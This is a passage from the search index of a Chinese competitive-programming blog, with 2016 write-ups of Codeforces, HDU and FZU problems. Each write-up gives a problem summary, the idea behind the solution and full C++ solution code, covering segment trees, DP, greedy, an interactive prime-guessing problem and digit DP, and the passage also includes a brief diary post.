0x3f3f3f3f; 32const int N=1E5+7; 33int tree[27][N\u003c\u003c2];//26棵线段树，表示26个字母在对应区间中的个数。 34int lazy[27][N\u003c\u003c2];//lazy存储的是某段区间是否被某个字母覆盖. -1表示初始没有标记，0表示该区间被重置，1表示该区间被某种颜色覆盖。 35int n,q; 36char st[N]; 37in","date":"2016-10-04","externalUrl":null,"permalink":"/2016/10/cf558e/","section":"Posts","summary":"题目链接 题意：给出一个字符串，仅由小写字母组成。现在给出q个操作，每个操作l,r,k三个参数，k=1表示把区间[l,r]变为升序排列，k=0表示把区间[l,r]变为降序排列。","tags":["线段树","计数排序"],"title":"codeforces 558 E. A Simple Task (线段树优化计数排序)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出一个n个数的排列，每次可以把一个数放到最前面或者最后面的位置，问至少要进行多少次操作才能使得数列升序。 思路：考虑不被移动的那些数，当把所有一定的数去掉以后，这些剩下的数一定是一段数值连续，位置递增的数。如果想要移动的数最少，俺么这串递增的数就尽可能长。 dp[a[i]] = dp[a[i]-1] + 1 那么ans = n - max{dp[i]} 另外：对于要移动的数，我们可以按照一定顺序（放在前面的数按照递减顺序，放在最长序列后面的数按照递增顺序）移动，可以保证每个数只需要移动一次。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年10月04日 星期二 20时10分00秒 4File Name :code/cf/problem/605A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cdeque\u003e 15#include \u003cmap\u003e 16#include \u003cstring\u003e 17#include \u003ccmath\u003e 18#include \u003ccstdlib\u003e 19#include \u003cbitset\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=1E5+7; 35int n; 36int a[N]; 37int dp[N]; 38int main() 39{ 40 #ifndef ONLINE_JUDGE 41 freopen(\"code/in.txt\",\"r\",stdin); 42 #endif 43 44 cin\u003e\u003en; 45 for ( int i = 1 ; i \u003c= n ; i++) cin\u003e\u003ea[i]; 46 ms(dp,0); 47 int mx = 0 ; 48 for ( int i = 1 ; i \u003c= n ; i++) 49 { 50 dp[a[i]] = dp[a[i]-1] + 1; 51 mx = max(dp[a[i]],mx); 52 } 53 cout\u003c\u003cn-mx\u003c\u003cendl; 54 55 #ifndef ONLINE_JUDGE 56 fclose(stdin); 57 #endif 58 return 0; 59}","date":"2016-10-04","externalUrl":null,"permalink":"/2016/10/cf605a/","section":"Posts","summary":"题目链接 题意：给出一个n个数的排列，每次可以把一个数放到最前面或者最后面的位置，问至少要进行多少次操作才能使得数列升序。","tags":["dp"],"title":"codeforces 605 A. Sorting Railway Cars (dp)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给一个n*m的由小写字母组成的table.要求从上往下每一行字典序不严格递增。问最少删除几列才能满足。 思路：一开始想的是用一个left数组维护每次删除后某一列左边是哪一列，目的是为了下次的判断。 再想了下，发现没必要。我们只需要知道，两行之间的关系是否确定就好了。over[i][j]为真表示第i行和第j行的胜负已分，对于胜负已分的行，大小无所谓。 对于胜负未分的行，如果table[i][j]\u003etable[i+1][j]，就必须要删掉这一列了。。。。 需要注意的是，某一列最多删一次，记得打上标记。 以及ove标记的时候，要在最后确定这一列没有被删以后再标记。。。用一个set存下可能的胜负已分的行的下标即可。 1A 1/* *********************************************** 2Author :111qqz 3Created Time :2016年10月04日 星期二 19时10分39秒 4File Name :code/cf/problem/496C.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cdeque\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cbitset\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27using namespace std; 28const double eps = 1E-8; 29const int dx4[4]={1,0,0,-1}; 30const int dy4[4]={0,-1,1,0}; 31const int inf = 0x3f3f3f3f; 32const int N=105; 33char table[N][N]; 34int n,m; 35bool mark[N]; 36bool over[N][N]; 37int left[N]; 38int main() 39{ 40 #ifndef ONLINE_JUDGE 41 freopen(\"code/in.txt\",\"r\",stdin); 42 #endif 43 cin\u003e\u003en\u003e\u003em; 44 ms(mark,false); 45 ms(over,false); 46 for ( int i = 0 ; i \u003c n ; i++) scanf(\"%s\",table[i]); 47 int cnt = 0 ; 48 for ( int j = 0 ; j \u003c m ; j++) 49 { 50 set\u003c int \u003ese; 51 bool del = false; 52 for ( int i = 0 ; i \u003c n-1 ; i++) 53 { 54 if (table[i][j]\u003ctable[i+1][j]) 55 { 56 se.insert(i); 57 } 58 else if (table[i][j]\u003etable[i+1][j]\u0026\u0026!over[i][i+1]\u0026\u0026!mark[j]) 59 { 60 cnt++; 61 del = true; 62 mark[j] = true; 63 // cout\u003c\u003c\"delete:\"\u003c\u003cj\u003c\u003cendl; 64 } 65 } 66 if (!del) 67 { 68 for (","date":"2016-10-04","externalUrl":null,"permalink":"/2016/10/cf496c/","section":"Posts","summary":"题目链接 题意：给一个n*m的由小写字母组成的table.要求从上往下每一行字典序不严格递增。问最少删除几列才能满足。","tags":["构造"],"title":"codeforces 496 C Removing Columns (构造)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：n堆石子，每堆a[i]个，k种颜色。给每个石子涂色，要求对于每种颜色，任意两堆中该颜色石子的个数最多差一个。问是否有解，有解输出一组方案。 思路：我们发现有解与否只和最大值最小值有关。 设mn为最小值,mx为最大值。 当mx\u003emn+k时无解，否则有解。 如果有解。。。输出方案就好了。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年10月04日 星期二 02时40分20秒 4File Name :code/cf/problem/509B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cdeque\u003e 15#include \u003cmap\u003e 16#include \u003cstring\u003e 17#include \u003ccmath\u003e 18#include \u003ccstdlib\u003e 19#include \u003cbitset\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34int n,k; 35int a[105]; 36int main() 37{ 38 #ifndef ONLINE_JUDGE 39 freopen(\"code/in.txt\",\"r\",stdin); 40 #endif 41 42 cin\u003e\u003en\u003e\u003ek; 43 int mn = 101; 44 int mx = -1; 45 for ( int i = 1 ; i \u003c= n ; i++) 46 { 47 cin\u003e\u003ea[i]; 48 mn = min(mn,a[i]); 49 mx = max(mx,a[i]); 50 } 51 if (mx\u003emn+k) 52 { 53 puts(\"NO\"); 54 } 55 else 56 { 57 puts(\"YES\"); 58 for ( int i = 1 ; i \u003c= n ; i++) 59 { 60 for ( int j = 1 ; j \u003c= a[i] ; j++) printf(\"%d \",j%k+1); 61 printf(\"\\n\"); 62 } 63 } 64 65 #ifndef ONLINE_JUDGE 66 fclose(stdin); 67 #endif 68 return 0; 69}","date":"2016-10-03","externalUrl":null,"permalink":"/2016/10/cf509b/","section":"Posts","summary":"题目链接 题意：n堆石子，每堆a[i]个，k种颜色。给每个石子涂色，要求对于每种颜色，任意两堆中该颜色石子的个数最多差一个。问是否有解，有解输出一组方案。","tags":["构造"],"title":"codeforces 509 B. Painting Pebbles （构造）","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：nm个格子，有和.两种类型。定义一个湖为边相邻的只有.组成的最大点集合，且任何一个.不在边界上。现在给出一个nm的图保证至少有k个湖。问填多少个.成，才能使得恰好有k个湖。 思路：贪心，先处理出所有的湖的大小，然后从小往大填。 注意dfs的时候如果某个“可能”的湖遇到了边界，要把之前打的标记撤销掉。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年10月03日 星期一 21时18分03秒 4File Name :code/cf/#375/D.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cdeque\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cbitset\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27using namespace std; 28const double eps = 1E-8; 29const int dx4[4]={1,0,0,-1}; 30const int dy4[4]={0,-1,1,0};tanxin 31const int inf = 0x3f3f3f3f; 32const int N=55; 33char maze[N][N]; 34int n,m,k; 35int vis[N][N]; 36int lake_cnt=0; 37int siz; 38struct node 39{ 40 int id; 41 int val; 42 bool operator \u003c (node b)const 43 { 44 return val\u003cb.val; 45 } 46}lake[N*N]; 47bool die ; 48set\u003c pi \u003ese; 49void dfs( int x,int y) 50{ 51 if (die) return; 52 siz++; 53// cout\u003c\u003c\"x:\"\u003c\u003cx\u003c\u003c\" y: \"\u003c\u003cy\u003c\u003cendl; 54 for ( int i = 0 ; i \u003c 4 ; i++) 55 { 56 int nx = x + dx4[i]; 57 int ny = y + dy4[i]; 58 if (maze[nx][ny]=='*') continue; 59 if (nx==0||nx==n-1||ny==0||ny==m-1) 60 { 61 die = true; 62 return; 63 } 64 if (vis[nx][ny]!=0) continue; 65 vis[nx][ny] = lake_cnt; 66 se.insert(make_pair(nx,ny)); 67 dfs(nx,ny); 68 } 69} 70int main() 71{ 72 #ifndef ONLINE_JUDGE 73 freopen(\"code/in.txt\",\"r\",stdin); 74 #endif 75 cin\u003e\u003en\u003e\u003em\u003e\u003ek; 76 for ( int i = 0 ; i \u003c n ; i++) scanf(\"%s\",maze[i]); 77 ms(vis,0); 78 for","date":"2016-10-03","externalUrl":null,"permalink":"/2016/10/cf375d/","section":"Posts","summary":"题目链接 题意：nm个格子，有和.两种类型。定义一个湖为边相邻的只有.组成的最大点集合，且任何一个.不在边界上。现在给出一个nm的图保证至少有k个湖。问填多少个.成，才能使得恰好有k个湖。","tags":["dfs","greedy"],"title":"codeforces #375 D. Lakes in Berland (dfs)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出n,m，n个数，对其中的一些数进行修改，要求1..m中出现次数最少的数最大，输出这个最少的数最大是多少，以及修改的次数。 思路：最小的数最多出现n/m次。 竟然因为排序后下标变乱不知所措40分钟。。。我也是醉了。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年10月03日 星期一 19时29分52秒 4File Name :code/cf/#375/C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cdeque\u003e 15#include \u003cmap\u003e 16#include \u003cstring\u003e 17#include \u003ccmath\u003e 18#include \u003ccstdlib\u003e 19#include \u003cbitset\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=2005; 35int n,m; 36int a[N]; 37struct node 38{ 39 int id; 40 int val; 41 bool operator \u003c (node b)const 42 { 43 return val\u003cb.val; 44 } 45}cnt[N]; 46map\u003cint,int\u003emp; 47int main() 48{ 49 #ifndef ONLINE_JUDGE 50 freopen(\"code/in.txt\",\"r\",stdin); 51 #endif 52 cin\u003e\u003en\u003e\u003em; 53 ms(cnt,0); 54 int C = 0 ; 55 for ( int i = 1 ; i \u003c= n ; i++) 56 { 57 cin\u003e\u003ea[i]; 58 if (a[i]\u003c=m) 59 { 60 cnt[a[i]].val++; 61 }else C++; 62 } 63 for ( int i = 1 ; i \u003c= m ; i++) cnt[i].id = i ; 64 int num = n/m; 65 sort(cnt+1,cnt+m+1); 66 for ( int i = 1 ; i \u003c= m ; i++) mp[cnt[i].id] = i; 67 int head = 1; 68 int ans = 0 ; 69 for ( int i = 1 ; i \u003c= n ; i++) 70 { 71 if (a[i]\u003em\u0026\u0026C\u003en-m*num) 72 { 73 ans++; 74 C--; 75 cnt[head].val++; 76 a[i] = cnt[head].id; 77 if (cnt[head].val==num) head++; 78 }else if (cnt[mp[a[i]]].val\u003enum\u0026\u0026cnt[head].val\u003cnum) 79 { 80 ans++; 81 cnt[mp[a[i]]].val--; 82 cnt[h","date":"2016-10-03","externalUrl":null,"permalink":"/2016/10/cf375c/","section":"Posts","summary":"题目链接 题意：给出n,m，n个数，对其中的一些数进行修改，要求1..m中出现次数最少的数最大，输出这个最少的数最大是多少，以及修改的次数。","tags":["greedy"],"title":"codeforces #375 C. Polycarp at the Radio (贪心)","type":"post"},{"categories":["ACM"],"content":"题目链接 。。。sad….. 果然没睡够\u0026起来就写题脑子完全就是不清醒的状态。。。 这个不清醒。。。主要体现在。。。。10+次。。。忘记删条件编译。。。 改着改着。。。就忘记这件事了。。。好烦啊。。。本来早就A了。。。结果又接着去改。。。 题目链接： 就水了三道题。。。。 A是个暴力。。直接O(n2)算乘积，然后再check一下合法性就好。。。尼玛wa到我怀疑人生。。。过了好久才考虑也许是不支持条件编译的问题。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年10月03日 星期一 12时37分27秒 4File Name :code/weakteam/20161003/A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cdeque\u003e 15#include \u003cmap\u003e 16#include \u003cstring\u003e 17#include \u003ccmath\u003e 18#include \u003ccstdlib\u003e 19#include \u003cbitset\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=1005; 35int n; 36int a[N]; 37int ans = -1; 38int digit[20]; 39void check(int x) 40{ 41 ms(digit,0); 42 int len = 0 ; 43 int xx = x; 44 while (x) 45 { 46 digit[++len] = x; 47 x/=10; 48 } 49 for ( int i = len-1 ; i\u003e=1 ; i--) 50 { 51 if (digit[i+1]-digit[i]!=-1) return; 52 } 53 ans = max(xx,ans); 54 55} 56int main() 57{ 58 #ifndef ONLINE_JUDGE 59// freopen(\"code/in.txt\",\"r\",stdin); 60 #endif 61 62 cin\u003e\u003en; 63 for ( int i = 1 ; i \u003c= n ; i++) scanf(\"%d\",a+i); 64 for ( int i = 1 ; i \u003c= n-1 ; i++) 65 for ( int j = i+1; j \u003c= n ; j++) 66 check(a[i]*a[j]); 67 printf(\"%d\\n\",ans); 68 69 #ifndef ONLINE_JUDGE 70 fclose(stdin); 71 #endif 72 return 0; 73} B是bfs…我的做法是先算每个点有士兵到达的最小时间。然后公主跑到某个点的时候判断当前时间是否小于这个格子士兵到达的最小时间。 不过这样做会Tle，可以加个剪枝，就是在处理每个点有士兵到达的最小时间的时候，如果某个点存在比当前","date":"2016-10-03","externalUrl":null,"permalink":"/2016/10/-2016-10-3/","section":"Posts","summary":"题目链接 。。。sad….. 果然没睡够\u0026起来就写题脑子完全就是不清醒的状态。。。","tags":["算法竞赛"],"title":"弱校连萌 2016 10.3","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出n，有1..n n个数，可以选择两个数进行加，减，乘，三种操作，操做完得到一个数放回。 n-1次操作后只剩下一个数。现在要求剩下的数为24.问方法。 思路：我们发现。。。两个数相减可以为1.。那么只要找到4个数的方案和5个数的方案就好了。。。 4个数：123*4 5个数：4*5+3+2-1 然而窝一开始以为必须前面减后面。。。 所以是按照4K,4K+1,4K+2,4K+3分的类。。。每4个数得到两个-1，再相乘。。。。麻烦了一点。。代码写了一半的时候意识到了按2K,2K+1分类就行。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年10月03日 星期一 00时50分18秒 4File Name :code/cf/problem/468A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cdeque\u003e 15#include \u003cmap\u003e 16#include \u003cstring\u003e 17#include \u003ccmath\u003e 18#include \u003ccstdlib\u003e 19#include \u003cbitset\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34int n; 35int main() 36{ 37 #ifndef ONLINE_JUDGE 38 //freopen(\"code/in.txt\",\"r\",stdin); 39 #endif 40 41 cin\u003e\u003en; 42 if (n\u003c4) 43 { 44 puts(\"NO\"); 45 return 0; 46 } 47 puts(\"YES\"); 48 int m = n % 4; 49 if (m==0) 50 { 51 puts(\"1 * 2 = 2\"); 52 puts(\"3 * 4 = 12\"); 53 puts(\"2 * 12 = 24\"); 54 }else if (m==1) 55 { 56 puts(\"4 * 5 = 20\"); 57 puts(\"3 + 2 = 5\"); 58 puts(\"5 - 1 = 4\"); 59 puts(\"20 + 4 = 24\"); 60 }else if (m==2) 61 { 62 puts(\"1 + 2 = 3\"); 63 puts(\"3 + 3 = 6\"); 64 puts(\"6 - 5 = 1\"); 65 puts(\"4 * 6 = 24\"); 66 puts(\"1 * 24 = 24\"); 67 }else 68 { 69 puts(\"7 - 4 = 3\"); 70 puts(\"6 - 5 = 1\"); 71 puts(\"3 + 1 = 4\"); 72 puts(\"4 * 3 = 12\"); 73 puts(\"12 * 2 = 24\"); 74 puts(\"24 * 1 = 24\"); 75 } 76 int cnt = n/4-1; 77 int cur = m+4; 7","date":"2016-10-02","externalUrl":null,"permalink":"/2016/10/cf468a/","section":"Posts","summary":"题目链接 题意：给出n，有1..n n个数，可以选择两个数进行加，减，乘，三种操作，操做完得到一个数放回。 n-1次操作后只剩下一个数。现在要求剩下的数为24.问方法。","tags":["构造"],"title":"codeforces 468 A. 24 Game (构造)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：存在一个[2..100]之间的数，每次可以询问一个数是否是该数的因子，返回yes或者no,最多询问20次。每次要输出询问的数，以及最后要输出这个数是否是质数。 思路：第一次做交互题。。。发现完全不能按照以前的思路。。。 更像是相反的。。。把output看做某种输入。。。input里是某种结果。。。我要根据input里的东西来确定一些东西。 就是先有output，再有input。。。output是选手的输入（最后一个除外），input是返回结果(不是你写的代码的返回结果） 对于这道题。。我们要尽可能少得猜一个数的因子，以确定该数是否为质数。 一个数不是质数的话，就有至少两个大于1的因子。。。 很容易想到。。。判素因子。。。 由于至少有2个非1的因子才不是素数。。。最小为2，因此另一个因子不会大于50.。。 此外。。。有可能有两个相同质因数组成的因子。。。。 因此还要判一下22,35,55,77 1/* *********************************************** 2Author :111qqz 3Created Time :Sun 02 Oct 2016 08:22:44 PM CST 4File Name :code/cf/problem/679A.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31int prime[19]={2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,4,9,25,49}; 32string st; 33int main() 34{ 35 #ifndef ONLINE_JUDGE 36 freopen(\"code/in.txt\",\"r\",stdin); 37 #endif 38 int cnt = 0 ; 39 for ( int i = 0 ; i \u003c 19 ; i++) 40 { 41 cout\u003c\u003cprime[i]\u003c\u003cendl; 42 fflush(stdout); 43 cin\u003e\u003est; 44 if (st==\"yes\") cnt++; 45 } 46 if (cnt\u003e=2) puts(\"composite\"); 47 else puts(\"prime\"); 48 fflush(stdout); 49 #ifndef ONLINE_JUDGE 50 fclose(stdin); 51 #endif 52 return 0; 53}","date":"2016-10-02","externalUrl":null,"permalink":"/2016/10/cf679a/","section":"Posts","summary":"题目链接 题意：存在一个[2..100]之间的数，每次可以询问一个数是否是该数的因子，返回yes或者no,最多询问20次。每次要输出询问的数，以及最后要输出这个数是否是质数。","tags":["交互题","构造"],"title":"codeforces 679A A. Bear and Prime 100 (交互题，构造)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：一段数字串，如果一个数字k满足，将该串分成若干个长度为K的子串，这些子串两两满足每个字符出现的次数一样多，那么称为k是一个阿贝尔周期。现在问所有合法的阿贝尔周期。 思路： * 首先我们发现，所有的阿贝尔周期一定是数字串长度（设为n)的因数。 * 然后我们还发现。。。如果某个因子是阿贝尔周期，那么该因子的整数倍中恰好也是n的因子的也一定是阿贝尔周期，类似筛法。 * 然后我们还发现。。。最小的阿贝尔周期一定比数字串中的元素个数大。。。 然而其实后面两个不管也可以过吧。。。因为有点忘了n的约数个数的上界了。。。。 还是太保守了。。。 不过hack了四发哈哈哈。。。要是大号的话今天就紫了呜呜呜 1/* *********************************************** 2Author :111qqz 3Created Time :2016年10月01日 星期六 18时58分00秒 4File Name :code/bc/#88/1002.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cdeque\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cbitset\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27using namespace std; 28const double eps = 1E-8; 29const int dx4[4]={1,0,0,-1}; 30const int dy4[4]={0,-1,1,0}; 31const int inf = 0x3f3f3f3f; 32const int N=1E5+7; 33int n; 34vector \u003cint\u003efactor; 35int cnt[N]; 36set\u003cint\u003ese; 37bool vis[N]; 38int a[N]; 39set\u003cint\u003eans; 40bool solve(int st,int en) 41{ 42 bool ret = true; 43 for ( int i = st ; i \u003c= en ; i++) 44 { 45 cnt[a[i]]--; 46 if (cnt[a[i]]\u003c0) ret = false; 47 } 48 for ( int i = st ; i \u003c= en ; i++) cnt[a[i]]++; 49 return ret; 50} 51int main() 52{ 53 #ifndef ONLINE_JUDGE 54 freopen(\"code/in.txt\",\"r\",stdin); 55 #endif 56 int T; 57 cin\u003e\u003eT; 58 while (T--) 59 { 60 factor.clear(); 61 se.clear(); 62 ans.clear(); 63 ms(vis,false); 64 scanf(\"%d\",\u0026n); 65 for ( int i = 1 ; i \u003c= n ; i++) 66 { 67 scanf(\"%d\",a+i); 68 se.insert(a[i]); 69 } 70 for ( int i = 1 ; i*i\u003c= n ; i++) 71 { 72 if (n%i","date":"2016-10-01","externalUrl":null,"permalink":"/2016/10/hdu-5908/","section":"Posts","summary":"题目链接 题意：一段数字串，如果一个数字k满足，将该串分成若干个长度为K的子串，这些子串两两满足每个字符出现的次数一样多，那么称为k是一个阿贝尔周期。现在问所有合法的阿贝尔周期。","tags":["brute force","number theory"],"title":"bestcoder #88 || hdu 5908 Abelian Period(暴力)","type":"post"},{"categories":["随笔杂谈"],"content":"好虚啊。。。 线段树勉强写完了单点更新的一组题。。。。16道题写了20天。。。 后面的带lazy标记的简直难度上天啊orz…刷不动== 然后想回头复习下数位dp吧。。。发现也是各种被卡。。。 突然想起去年北京的那个银牌题。。。又看了下。。。发现卡在了数位dp之前的地方。。。。。？ 啊啊啊啊 啊啊，要打铁了要打铁了要打铁了。。。","date":"2016-09-29","externalUrl":null,"permalink":"/2016/09/20160929/","section":"Posts","summary":"好虚啊。。。 线段树勉强写完了单点更新的一组题。。。。16道题写了20天。。。","tags":["算法竞赛"],"title":"20160929好虚啊","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出l,r,k，定义f(n,k)为将数n分成左右两个非空的部分，再求和之后能被k整除的方案数。 现在问区间[l,r]中所有f(i,k)的和。 思路：数位dp… 枚举一下分点即可。。想到这个这题就A了。。。 然后相当于做分点个数个数位dp…求和即可。 dp[i][j][k][p]表示第i位，前半部分%k的结果，后半部分%k的结果，是否有前导0. 然后关于前导0这个。。。换了一种写法。。。加了一个状态在dp数组里。。。 不然每次都要一个if。。。感觉有点丑。。。。这样写简介了一点。。。 以及。。因为每次k是不同的。。。我dp状态记录的时候又没有记录k…所以记得每次初始化成-1。。。 因为忘记这个结果第二个样例调了好久一直是31。。。。 1/* *********************************************** 2Author :111qqz 3Created Time :Thu 29 Sep 2016 02:49:50 PM CST 4File Name :code/hdu/3967.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31int k; 32LL l,r; 33int digit[20]; 34LL dp[20][20][20][20][2]; 35LL dfs( int pos,LL sum1,LL sum2,bool limit,int cut,int prehasnonzero) 36{ 37 if (pos==0) return (sum1+sum2)%k==0; 38 if (!limit\u0026\u0026dp[pos][sum1%k][sum2%k][cut][prehasnonzero]!=-1) return dp[pos][sum1%k][sum2%k][cut][prehasnonzero]; 39 int mx = limit?digit[pos]:9; 40 LL res = 0 ; 41 for ( int i = 0 ; i \u003c= mx; i++) 42 { 43 if (pos\u003ccut) res = res + dfs(pos-1,sum1,sum2*10+i,limit\u0026\u0026i==mx,cut,prehasnonzero||i!=0); 44 else 45 { 46 if (!prehasnonzero\u0026\u0026pos==cut\u0026\u0026i==0) continue; //前半部分可以有前导0，但是不能全为0. 47 res = res + dfs(pos-1,sum1*10+i,sum2,limit\u0026\u0026i==mx,cut,prehasnonzero||i!=0); 48 } 49 } 50 if (!limit) dp[pos][sum1%k][sum2%","date":"2016-09-29","externalUrl":null,"permalink":"/2016/09/hdu-3967/","section":"Posts","summary":"题目链接 题意：给出l,r,k，定义f(n,k)为将数n分成左右两个非空的部分，再求和之后能被k整除的方案数。","tags":["数位dp"],"title":"hdu 3967 Zero's Number (不允许前导0（新写法）的数位dp)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：统计区间[a,b]里数字1出现的次数。 思路：数位dp。 收获是，dfs传递的参数可能是为了判断符合条件的答案（比如不要62中的preis6等） 但是也可能是在统计答案信息。。。pos等于0的时候返回值未必是1和0.。。 然后傻逼fzu。。。long long 必须交 I64d..因为这个wa到死。 傻逼fzu，毁我青春。 1/* *********************************************** 2Author :111qqz 3Created Time :Thu 29 Sep 2016 02:20:09 AM CST 4File Name :code/fzu/2113.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include 